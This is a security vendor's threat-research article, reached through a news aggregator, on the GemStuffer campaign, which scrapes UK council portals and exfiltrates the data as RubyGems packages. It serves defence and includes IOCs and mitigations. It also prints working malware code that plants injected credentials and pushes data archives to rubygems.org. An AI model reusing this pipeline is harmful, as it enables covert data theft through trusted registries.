惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

A
About on SuperTechFans
C
Cybersecurity and Infrastructure Security Agency CISA
N
News and Events Feed by Topic
C
Cisco Blogs
Cisco Talos Blog
Cisco Talos Blog
A
Arctic Wolf
Scott Helme
Scott Helme
P
Palo Alto Networks Blog
S
Schneier on Security
D
Darknet – Hacking Tools, Hacker News & Cyber Security
T
Tor Project blog
量子位
G
Google Developers Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
B
Blog RSS Feed
NISL@THU
NISL@THU
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
AWS News Blog
AWS News Blog
爱范儿
爱范儿
Last Week in AI
Last Week in AI
Y
Y Combinator Blog
L
LINUX DO - 最新话题
Security Archives - TechRepublic
Security Archives - TechRepublic
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
S
Secure Thoughts
Cloudbric
Cloudbric
aimingoo的专栏
aimingoo的专栏
L
Lohrmann on Cybersecurity
TaoSecurity Blog
TaoSecurity Blog
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Hacker News: Ask HN
Hacker News: Ask HN
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
The GitHub Blog
The GitHub Blog
有赞技术团队
有赞技术团队
S
Security @ Cisco Blogs
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
Cyber Attacks, Cyber Crime and Cyber Security
G
GRAHAM CLULEY
P
Proofpoint News Feed
V
V2EX
Martin Fowler
Martin Fowler
C
CERT Recently Published Vulnerability Notes
Attack and Defense Labs
Attack and Defense Labs
C
CXSECURITY Database RSS Feed - CXSecurity.com
The Cloudflare Blog
SecWiki News
SecWiki News
罗磊的独立博客
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
小众软件
小众软件
The Last Watchdog
The Last Watchdog

Socket

Suno Breached via Shai-Hulud Worm, Leaked Code Exposes AI Mu... Next.js moves to scheduled security releases - Socket 11 Malicious NuGet Tools Pose as Game Cheats to Drop a Windo... Compromised npm Packages in the AsyncAPI Namespace Deliver M... jscrambler npm Package Compromised in Supply Chain Attack - ... Fake Braintree NuGet Package Skims Credit Cards and Harvests... Compromised Injective SDK npm Package Exfiltrates Wallet Key... npm v12 Ships With Install Scripts Off by Default, Begins De... Malicious Go Module Exposes GitHub Malware Lure Network Span... pnpm 11.10 Hardens Registry Authentication to Block Token Re... Coordinated npm and PyPI Campaign Typosquats Popular Secure ... Node.js Considers Public Workflow for Security Reports Amid ... PolinRider: North Korea-Linked Supply Chain Campaign Expands... Risky Biz Podcast: AI Agents Are Raising the Stakes for Soft... Chrome and Firefox Extensions Posing as Free VPNs Add Clipbo... Miasma Mini Shai-Hulud Hits ImmobiliareLabs npm Packages - S... Rolldown Pulls Rust React Compiler Integration After Binary ... Miasma Mini Shai-Hulud Hits LeoPlatform npm Packages and Git... Frontier AI Is Now Critical Infrastructure - Socket The Code You Didn't Write Is Still Yours to Defend - Socket GitHub Actions Checkout Now Blocks Risky pull_request_target... Introducing Repository Access Permissions and Custom Roles -... Socket MCP Adds Org Alerts, Threat Feed Review, and Package ... Socket Firewall Now Blocks Malicious VS Code and Open VSX Ex... 140+ Mastra npm Packages Compromised in Coordinated Supply C... npm Package Uses Prompt Injection and Token Flooding to Disr... Introducing Manifest Alerts - Socket GlassWASM: WebAssembly Malware Found in Trojanized Open VSX ... Socket for Linear Is Now Available - Socket US Government Forces Anthropic to Pull Claude Fable Days After Launch 152 Chrome Live Wallpaper Extensions Hid Ad Tracking and Faked Google Search Traffic Andrew Becherer Joins Socket as Chief Information Security Officer Socket Partners with Replit to Block Malicious Packages in AI-Powered Development npm Tooling Bug Incorrectly Marks One-Character Packages as Security Holders Mini Shai-Hulud, Miasma, and Hades Worms Target Bioinformatics and MCP Developers via Malicious PyPI Wheels Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads with New PyPI Wave RubyGems Adds Cooldown Feature to Bundler for Newly Published Gems RubyGems Adds Cooldown Feature to Bundler for Newly Published Gems pnpm 11.5 Adds Support for Recognizing npm Staged Publishes pnpm 11.5 Adds Support for Recognizing npm Staged Publishes Federal Audit Finds NIST Wasted Funds With No Plan to Clear NVD Backlog Federal Audit Finds NIST Wasted Funds With No Plan to Clear NVD Backlog Mini Shai-Hulud Campaign Hits Red Hat Cloud Services npm Packages Mini Shai-Hulud Campaign Hits Red Hat Cloud Services npm Packages Famous Chollima Targets PHP Developers Through Compromised Packagist Package Famous Chollima Targets PHP Developers Through Compromised Packagist Package Rust Moves to Restrict LLM Use in Contributions After Months of Internal Debate Rust Moves to Restrict LLM Use in Contributions After Months of Internal Debate Malicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and Passwords Malicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and Passwords Feross on TBPN: Socket's Series C and the State of Software Supply Chain Security Feross on TBPN: Socket's Series C and the State of Software Supply Chain Security OSV Withdraws 157 Malware Reports After Automated False Positives Hit npm and PyPI OSV Withdraws 157 Malware Reports After Automated False Positives Hit npm and PyPI TrapDoor Crypto Stealer Supply Chain Attack Hits 34 Packages and Hundreds of Versions Across npm, PyPI, and Crates.io TrapDoor Crypto Stealer Supply Chain Attack Hits 34 Packages and Hundreds of Versions Across npm, PyPI, and Crates.io Laravel Lang Compromised with RCE Backdoor Across 700+ Versions Malicious Postinstall Hook Found Across 700+ GitHub Repositories, Including Packagist and Node.js Projects AI Has Taken Over Open Source npm Invalidates Granular Access Tokens as Mini Shai-Hulud Sweeps the Registry Coruna Respawned: Compromised art-template npm Package Leads to iOS Browser Exploit Kit Socket raises $60M Series C at $1B valuation led by Thrive Capital to secure AI-driven software development Socket Raises $60M Series C at a $1B Valuation to Help Enterprises Build Securely With AI Popular Go Decimal Library Targeted by Long-Running Typosquat with DNS Backdoor Active Supply Chain Attack Compromises @antv Packages on npm Popular node-ipc npm Package Infected with Credential Stealer TeamPCP and BreachForums Launch $1,000 Contest for Supply Chain Attacks Packagist Urges Immediate Composer Update After GitHub Actions Token Leak Socket Named to Rising in Cyber 2026 List of Top Cybersecurity Startups TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack fsnotify Maintainer Dispute Sparks Supply Chain Concerns Socket Releases Free Certified Patches for Critical vm2 Sandbox Escape 5 Malicious NuGet Packages Impersonate Chinese UI Libraries to Distribute Crypto Wallet and Credential Stealer pnpm 11 Adds Supply Chain Protection Defaults for Minimum Release Age and Exotic Subdependencies PyPI Fixes High-Severity Access Control Issues Found in Security Audit Malicious Ruby Gems and Go Modules Impersonate Developer Tools to Steal Secrets and Poison CI Mini Shai-Hulud Spreads to Packagist: Malicious Intercom PHP Package Follows npm Compromise Intercom’s npm Package Compromised in Ongoing Mini Shai-Hulud Worm Attack lightning PyPI Package Compromised in Supply Chain Attack Malicious npm Package Brand-Squats TanStack to Exfiltrate Environment Variables SAP CAP npm Packages Hit by Supply Chain Attack Socket Has Acquired Secure Annex 73 Open VSX Sleeper Extensions Linked to GlassWorm Show New Malware Activations Introducing Reachability for PHP Introducing Data Exports Malicious Checkmarx Artifacts Found in Official KICS Docker Repository and Code Extensions Introducing Organization Notifications in Socket Introducing Reports: An Extensible Reporting Framework for Socket Data Socket for Jira Is Now Available Socket Named Top Sales Organization by RepVue NIST Officially Stops Enriching Most CVEs as Vulnerability Volume Skyrockets Socket Selected for OpenAI's Cybersecurity Grant Program Feross on the 10 Minutes or Less Podcast: Nobody Reads the Code 108 Chrome Extensions Linked to Data Exfiltration and Session Theft via Shared C2 Infrastructure Node.js Drops Bug Bounty Rewards After Funding Dries Up The Hidden Blast Radius of the Axios Compromise
GemStuffer Campaign Abuses RubyGems as Exfiltration Channel Targeting UK Local Government
Joseph Edwar · 2026-05-13 · via Socket

Sidebar CTA Background

Secure your dependencies with us

Socket proactively blocks malicious open source packages in your code.

Install

Socket's threat research team is tracking a suspicious RubyGems campaign we’re calling GemStuffer, involving more than 100 gems that appear to use the RubyGems registry as a data transport mechanism rather than a conventional malware distribution channel.

The packages do not appear designed for mass developer compromise. Many have little or no download activity, and the payloads are repetitive, noisy, and unusually self-contained. Instead, the scripts fetch pages from UK local government democratic services portals, package the collected responses into valid .gem archives, and publish those gems back to RubyGems using hardcoded API keys. In some samples, the payload creates a temporary RubyGems credential environment under /tmp, overrides HOME, builds a gem locally, and pushes it to rubygems.org. Other variants skip the gem CLI entirely and POST the archive directly to the RubyGems API.

The campaign focuses on public-facing ModernGov portals used by Lambeth, Wandsworth, and Southwark, collecting council calendar pages, agenda listings, committee links, and related public meeting content. Much of this material appears to be publicly accessible, which makes the campaign harder to classify. It may be registry spam, a proof-of-concept worm, an automated scraper misusing RubyGems as a storage layer, or a deliberate test of package registry abuse. But the mechanics are intentional: repeated gem generation, version increments, hardcoded RubyGems credentials, direct registry pushes, and scraped data embedded inside package archives.

GemStuffer also appears to overlap with a broader RubyGems spam-publishing incident. Ruby Central’s Marty Haught said RubyGems was responding to “a coordinated spam-publishing campaign” limited to newly registered accounts publishing junk packages, with no existing packages compromised.

He also said RubyGems temporarily disabled new account registration and throttled webhooks while improving spammer detection, adding that existing accounts, packages, and installs were unaffected. RubyGems’ signup page currently confirms that new account registration is temporarily disabled.

This campaign fits the same abuse pattern: newly created packages, low download activity, repeated registry publishing, and junk-like package names used to move scraped data into RubyGems-hosted archives.

For defenders, low download counts should not obscure the significance of the technique. Package registries are commonly trusted destinations in developer and CI environments, and publishing a package can look indistinguishable from normal release activity. GemStuffer shows how that trust can be repurposed: scrape data, wrap it in a package, push it to a public registry, and retrieve it later with ordinary package tooling.

This analysis focuses on representative specimens from the GemStuffer campaign. The samples demonstrate a consistent technique: collect execution context, fetch hardcoded UK council portal URLs, package the HTTP responses into valid .gem archives, and publish those archives to RubyGems using embedded registry credentials. While individual variants use slightly different publishing paths, the abuse pattern is consistent: RubyGems is being used as a public data drop for scraped council content.

The package set and related indicators are available in our GemStuffer campaign tracker and embedded below. We’re currently tracking 155 package artifacts (packages and versions) associated with this campaign.

Loading affected packages…

Attack Chain Summary#

[Delivery: (evil|hack|payload|script).rb dropped to target environment]
        |
        v
[Reconnaissance]
  Capture Time.now, Dir.pwd, $0 (script path), ARGV
        |
        v
[UK Gov Sites Scraping]
  GET https://<council>/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1
  SSL VERIFY_NONE — cert errors suppressed
  Full response body + HTTP status code captured
        |
        v
[Malicious Gem Staging]
  mkdir /tmp/<gemname><timestamp><pid>/lib/
  binwrite stolen content → lib/result.txt
  Write stub lib/x.rb, generate x.gemspec
        |
        v
[Credential Injection]
  mkdir /tmp/gemhome/.gem/
  Write hardcoded API key → .gem/credentials (chmod 0600)
  Override ENV['HOME'] = '/tmp/gemhome'
        |
        v
[Malicious Gem Push/Exfiltration]
  gem build x.gemspec → <name>-<version>.gem
  gem push <name>.gem --host https://rubygems.org
  Stolen data now retrievable as a public gem version
        |
        v
[Attacker retrieves data: gem fetch <name> -v <version> && tar xf *.gem data.tar.gz]

Targeted Scraping of UK Council Portals#

The gem fetches one of several hardcoded URLs using Ruby's standard Net::HTTP library. It fetches council calendar pages and then actively crawls extracted links for additional document content. The script scrapes the returned HTML for agenda item URLs matching ieList or mgCommittee path patterns, and issues a second round of HTTP requests to follow any ieList links — pulling full agenda item listing pages on top of the raw calendar.

['https://moderngov.lambeth.gov.uk',
 'https://democracy.wandsworth.gov.uk',
 'https://moderngov.southwark.gov.uk'].each do |host|

  # Phase 1: fetch the monthly calendar page
  cal = get(host+'/mgCalendarMonthView.aspx?GL=1&M=1&Y=2026')
  out << "\n===CAL #{host}===\n" << cal << "\n"

  # Phase 2: extract and de-duplicate hrefs matching agenda/committee paths
  links = cal.scan(/href=[\"']([^\"']+)/i)
             .flatten
             .map  { |x| x.gsub('&amp;', '&') }
             .select { |x| x =~ /ieList|mgCommittee/i }
             .uniq
  out << links.inspect << "\n"

  # Phase 3: follow ieList links to scrape full agenda item listings
  links.each do |l|
    next unless l =~ /ieList/i
    l = host+'/'+l.sub(/^\//, '') unless l.start_with?('http')
    page = get(l)
    out << "\n===PAGE #{l}===\n" << page << "\n"
  end
end

The spoofed User-Agent header Mozilla/5.0 is shorter and more anomalous than typical browser activity.

# Shared fetch helper — User-Agent spoofing
def get(url)
  u = URI(url)
  Net::HTTP.start(u.host, u.port,
    use_ssl: u.scheme == 'https',
    read_timeout: 40
  ) { |h| h.get(u.request_uri, {'User-Agent' => 'Mozilla/5.0'}).body }
rescue => e
  'ERR '+e.to_s
end

All three domains are UK local government democratic services portals running ModernGov software. The data exposed at these endpoints typically includes committee meeting calendars, agenda item listings, linked PDF documents, officer contact information, and RSS feed content. While much of this is nominally public, the systematic bulk collection and archival of this data suggests the attacker may be using council portal access as a pivot to demonstrate capability against government infrastructure.

Malicious Gem Staging#

The implant constructs a minimal but structurally valid .gem archive on the local filesystem, embedding the exfiltrated data as a binary file within the gem's lib/ directory tree. The staging directory name is randomized for each run using a Unix epoch timestamp and the current process ID.

root="/tmp/lambeth71b#{Time.now.to_i}#{$$}"
FileUtils.mkdir_p("#{root}/lib")
File.binwrite("#{root}/lib/result.txt", out)    # stolen data stored here
File.write("#{root}/lib/x.rb", '#x')            # stub required by gem structure

gemspec=<<~G
Gem::Specification.new do |s|
  s.name='lambeth71b'
  s.version='0.0.2'
  s.summary='result'
  s.authors=['x']
  s.files=Dir['lib/**/*']
  s.license='MIT'
end
G

File.binwrite is used deliberately rather than File.write to avoid Ruby's string encoding layer raising exceptions on non-UTF-8 content in HTTP response bodies — a detail that reveals confident, experienced Ruby authorship. The gem name lambeth71b is a direct portmanteau of the target council name and an apparent campaign identifier suffix (71b), suggesting a naming convention shared across the full package set.

Not all campaign samples staged exfiltration content on disk before publishing. Some variants used Dir.mktmpdir with an OS-reclaimed block scope, meaning the staging directory and its contents are deleted immediately after the gem file is read for the push request:

Dir.mktmpdir { |d|
  Dir.chdir(d) {
    # Stolen content written to README (not lib/result.txt as in prior samples)
    File.write('README', out)

    # Gem built entirely via Ruby API — no gemspec file written to disk, no shell-out
    s = Gem::Specification.new { |x|
      x.name    = 'agenda-sample-result'
      x.version = '0.1.1'
      x.summary = 'o'
      x.authors = ['a']
      x.files   = ['README']
    }
    Gem::Package.build(s)   # produces agenda-sample-result-0.1.1.gem in d/
  }
}

In these cases, only the gem itself is briefly available on disk. The exfiltrated data is written to a file named README — a further step away from the lib/result.txt path used in earlier specimens, and a filename that is semantically invisible inside a gem archive. No stub .rb file is included in x.files, and no .gemspec file is ever written to disk — the specification exists only as a Ruby object in memory before being passed to Gem::Package.build.

Credential Injection via HOME Override#

This feature of the malware reveals an awareness of the credential environment in the RubyGems ecosystem. Rather than depending on pre-existing RubyGems credentials on the target machine, the script injects its own fully self-contained authentication context into a fabricated home directory under /tmp and then overrides the HOME environment variable for the current process so the gem CLI reads from it exclusively.

FileUtils.mkdir_p('/tmp/gemhome/.gem')
File.write('/tmp/gemhome/.gem/credentials',
  ':rubygems_9fead...[REDACTED]...54a57_key: ' \
  'rubygems_9fead...[REDACTED]...54a57')
File.chmod(0600, '/tmp/gemhome/.gem/credentials')   # required — gem refuses group/world-readable creds
ENV['HOME'] = '/tmp/gemhome'

The File.chmod(0600, ...) call is important — the gem CLI will print an error and abort if the credentials file has permissions broader than 0600. The author knows this behavior and accounts for it explicitly, which is characteristic of someone who has tested this technique in practice.

The key format follows the modern RubyGems OAuth token specification:

:<key_name>: <key_value>

Where the key name is rubygems_9feada...[REDACTED]...054a57_key and the value is the token itself. This appears to be a live, functional API credential and not a placeholder.

RubyGems API Keys seen across the campaign:

  • rubygems_fb4e1b...[REDACTED]...aec9dd
  • rubygems_9feada...[REDACTED]...054a57
  • rubygems_d8e875...[REDACTED]...03a533

The use of three distinct API keys is a compartmentalization strategy: if one key is revoked and the corresponding gems yanked, the other two campaign legs continue operating uninterrupted. All three keys should be revoked.

The HOME override is process-local and ephemeral: it modifies only the Ruby process's own environment map via ENV['HOME']=, does not call setenv(3) in a way that affects other processes, and disappears when the process exits. This minimizes the forensic footprint to the /tmp/gemhome/ directory tree and the staging directory.

Note: In some samples, credential injection was not included. In these cases the script wrote no /tmp/gemhome/.gem/credentials file, no ENV['HOME'] override, and no gem push CLI invocation. Instead, the API key is declared as a plaintext top-level constant and inserted directly into a Net::HTTP::Post request that the script constructs and fires itself:

KEY = 'rubygems_...[REDACTED]...f220b'

u = URI('https://rubygems.org/api/v1/gems')
r = Net::HTTP::Post.new(u)
r['Authorization']  = KEY
r['Content-Type']   = 'application/octet-stream'
r.body              = File.binread('agenda-sample-result-0.1.1.gem')
Net::HTTP.start(u.host, u.port, use_ssl: true) { |h| h.request(r) }

By constructing the HTTP request manually, this variant removes every external process dependency from the push path — no gem binary needs to be present on the target machine, no credentials file needs to be written, no HOME needs to be redirected. The entire exfiltration pipeline from fetch to push runs within a single Ruby process using only stdlib. File.binread reads the assembled gem as raw bytes and sets it as the POST body directly, matching the wire format the RubyGems API expects: Content-Type: application/octet-stream with the raw .gem binary. The API key in the Authorization header is the only authentication material in the request.

Malicious Gem Push/Exfiltration#

With staging complete and credentials injected, the implant shells out to the gem CLI to build and push the package to rubygems.org. This is the exfiltration event itself.

Dir.chdir(root) do
  out2 = `gem build x.gemspec 2>&1`
  out3 = `gem push lambeth71b-0.0.2.gem --host https://rubygems.org 2>&1`
  File.write("#{root}/log", out2+"\n"+out3) rescue nil
end

Dir.chdir(root) scopes the build context so gem build locates the gemspec and lib/ tree correctly. The explicit --host <https://rubygems.org> pin prevents accidental pushes to a configured private registry and makes the exfiltration endpoint unambiguous. Both CLI invocations capture stdout and stderr via backticks; the combined output is written to #{root}/log but that write is itself wrapped in rescue nil so even the local log is silently dropped on failure.

Network signature of the exfiltration event:

When gem push executes, it performs an HTTP POST to https://rubygems.org/api/v1/gems with:

  • Content-Type: application/octet-stream
  • Authorization: <rubygems_api_key> header
  • Request body: the raw binary .gem archive (a tar containing metadata.gz and data.tar.gz)

The scraped response data is inside data.tar.gz → lib/result.txt within that archive. From a network monitoring perspective, this event is a single outbound TLS POST to rubygems.org:443 carrying a binary body. It closely resembles a legitimate developer release workflow. Standard DLP tools inspecting egress for plaintext keywords will see nothing — the data is gzip-compressed inside a tar archive inside a TLS session.

Retrieval by the attacker requires only the gem name and version:

gem fetch lambeth71b -v 0.0.2
tar xf lambeth71b-0.0.2.gem data.tar.gz
tar xzf data.tar.gz ./lib/result.txt

The exfiltrated content is then available as a structured plaintext file containing the harvested environment metadata and the full council page response body, delimited by ===== URL ... ==ENDURL== markers for programmatic parsing.

  1. Yank all identified gem packages. Run gem yank <name> -v <version> for each confirmed package name. File a rubygems.org abuse report requesting emergency removal of the full package set — yanked gems may still be cached by mirrors.
  2. Audit /tmp on all potentially affected machines. Search for lambeth71b*, rubydocran_*, /tmp/gemhome/, and any directory matching /tmp/[a-z]+[0-9]+[a-z]+[0-9]{10}[0-9]+/. Preserve and forensically image any hits before deletion.
  3. Identify the delivery vector. This implant does not self-propagate — it was placed on a machine by another mechanism. Audit Bundler configuration files (.bundlerc, Gemfile, config/application.rb), gem post-install hooks, CI pipeline definitions, and dotfile repositories for references to evil.rb, hack.rb, script.rb or payload.rb.
  4. Alert on ENV['HOME'] mutation to /tmp paths in production Ruby processes. Runtime security tooling (Falco, eBPF-based syscall monitors) can detect putenv/setenv calls that redirect HOME out of /home or /root into /tmp. This is an abnormal operation in any legitimate Ruby application.
  5. Block outbound gem push in CI pipelines that do not publish gems. If your CI workflows do not legitimately push to rubygems.org, add an egress rule blocking HTTPS POST to rubygems.org/api/v1/gems. For pipelines that do publish, restrict allowed gem names to an explicit allowlist.

Indicators of Compromise#

Files

payload.rb

  • SHA-256: 239440c830e17530dda0a8a06ed2708860998750a1e3ed2239e919465dc59420
  • SHA-1: 5f924c0454f1fb6b2299d658c3bb4e75ce3d0b66
  • MD5: 81c34eea9c853c5ec13a3b3cd4a2228b

script.rb

  • SHA-256: c2d6bcacc88177e0f2c8c262726f86f37e671b1692c8bc135bac4b610ddcf31a
  • SHA-1: db9827ae2c004a4dc6009be2d009477bff5249df
  • MD5: 9211506ae02c9e4e75aeadfebeb4883c

evil.rb

yardload.rb

yard_plugin.rb

exploit.rb

extconf.rb

fetcher.rb

Network Indicators

  • hxxps://moderngov[.]lambeth[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1
  • hxxps://democracy[.]wandsworth[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1
  • hxxps://moderngov[.]southwark[.]gov[.]uk/mgCalendarMonthView[.]aspx?M=1&Y=2026&GL=1&bcr=1

RubyGems API Key Indicators

Full token values have been redacted. Socket has shared relevant indicators with trusted parties as appropriate.

  • rubygems_9feada...[REDACTED]....054a57
  • rubygems_fb4e1b...[REDACTED]...6aec9dd
  • rubygems_d8e875...[REDACTED]...503a533

File System Artifacts

  • /tmp/<package><epoch_timestamp><pid>/
  • /tmp/<package><epoch_timestamp><pid>/lib/result.txt
  • /tmp/<package><epoch_timestamp><pid>/lib/x.rb
  • /tmp/<package><epoch_timestamp><pid>/x.gemspec
  • /tmp/<package><epoch_timestamp><pid>/<package>-0.0.2.gem
  • /tmp/<package><epoch_timestamp><pid>/log
  • /tmp/gemhome/.gem/credentials — fabricated credentials file containing hardcoded API key
  • /tmp/gemhome/
  • /tmp/rubydocran_*

Malicious Gem Packages

Static Gemspec Indicators

  • s.summary='result'
  • s.summary='o'
  • s.authors=['x']
  • s.authors=['a']
  • s.authors=['south']